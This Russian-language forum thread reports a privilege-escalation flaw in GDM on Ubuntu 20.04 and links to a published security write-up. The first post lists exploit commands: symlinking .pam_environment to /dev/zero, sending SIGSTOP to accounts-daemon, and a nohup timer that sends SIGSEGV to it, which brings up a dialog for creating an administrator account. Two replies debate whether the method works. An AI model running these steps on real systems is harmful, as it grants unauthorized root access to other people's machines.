/bin/dev - IT Lounge Новости и статьи Новости Уязвимость в GDM, позволяющая получить права администратора
Уязвимость в GDM, позволяющая получить права администратора
11.11.2020 09:Nov • Edited by ozz
#1
В Ubuntu 20.04 в GDM обнаружена уязвимость, позволяющая получить привилегии root.

Алгоритм получения

Создайте симлинк:
Код:
ln -s /dev/zero .pam_environment
Попробуйте в настройках открыть параметры языка и региона. Диалоговое окно должно зависнуть. На этом этапе процесс accounts-daemon может потреблять 100% процессора (или одного ядра).

Удалите симлинк:
Код:
rm .pam_environment

Узнайте PID и отправьте сигнал SIGSTOP процессу accounts-daemon:

Код:
kill -SIGSTOP 597

Установите таймер и выйдите из текущей учётной записи:
Код:
nohup bash -c "sleep 30s; kill -SIGSEGV 597; kill -SIGCONT 597

Если всё прошло успешно - появится окно с предложением создать новую учётную запись, которая будет являться администратором.

https://securitylab.github.com/research/...ervice-LPE
It's time to kick gum and chew ass. And i'm all out of ass.
Поиск
Ответ
11.11.2020 10:Nov • Edited by mord0d
#2
(11.11.2020 09:Nov)ozz Написал: Узнайте PID и отправьте сигнал SIGSTOP процессу accounts-daemon

Так он же вроде запускается не от текущего пользователя, а то ли от собственного пользователя GDM, то ли от root/daemon. То есть чтобы получить повышенные права, нужны повышенные права… но так и без плясок с бубном можно. Или я не прав?
• Правила форума
• [Новичкам] Как правильно задавать вопросы, чтобы Вам помогли

«Буду бить аккуратно, но сильно!» © Лёлик, х/ф «Бриллиантовая рука»
Поиск
Ответ
11.11.2020 10:Nov •
#3
(11.11.2020 10:Nov)mord0d Написал:
(11.11.2020 09:Nov)ozz Написал: Узнайте PID и отправьте сигнал SIGSTOP процессу accounts-daemon


Так он же вроде запускается не от текущего пользователя, а то ли от собственного пользователя GDM, то ли от root/daemon. То есть чтобы получить повышенные права, нужны повышенные права… но так и без плясок с бубном можно. Или я не прав?

Дело вроде как в кривом симлинке.
It's time to kick gum and chew ass. And i'm all out of ass.
Поиск
Ответ

Навигация

Помощь

Аккаунт

О нас

Добро пожаловать на форум /bin/dev – место для общения и обмена знаниями в области IT, Linux, BSD, Windows и разработки. Здесь вы найдете множество обсуждений и советов по программированию, веб-разработке, системному администрированию, базам данных и другим темам, связанным с информационными технологиями. На форуме /bin/dev вы сможете общаться с опытными специалистами и получать помощь в решении любых вопросов, связанных с IT, программированием, веб-разработкой, системным администрированием, базами данных и разработкой программного обеспечения. Мы также предлагаем много полезной информации и руководств по различным технологиям, таким как Linux, BSD, Windows. Присоединяйтесь к нам уже сегодня и станьте частью сообщества, которое ценит обмен знаниями и опытом в области информационных технологий и разработки! У нас вы найдете много полезных советов и руководств по программированию, веб-разработке, системному администрированию, базам данных и разработке программного обеспечения и многое другое. Не забудьте добавить /bin/dev в свои закладки, чтобы всегда быть в курсе последних новостей и обновлений. Мы всегда готовы помочь вам в решении любых вопросов, связанных с IT, Linux, BSD, Windows, программированием, веб-разработкой, системным администрированием, базами данных и многим другим.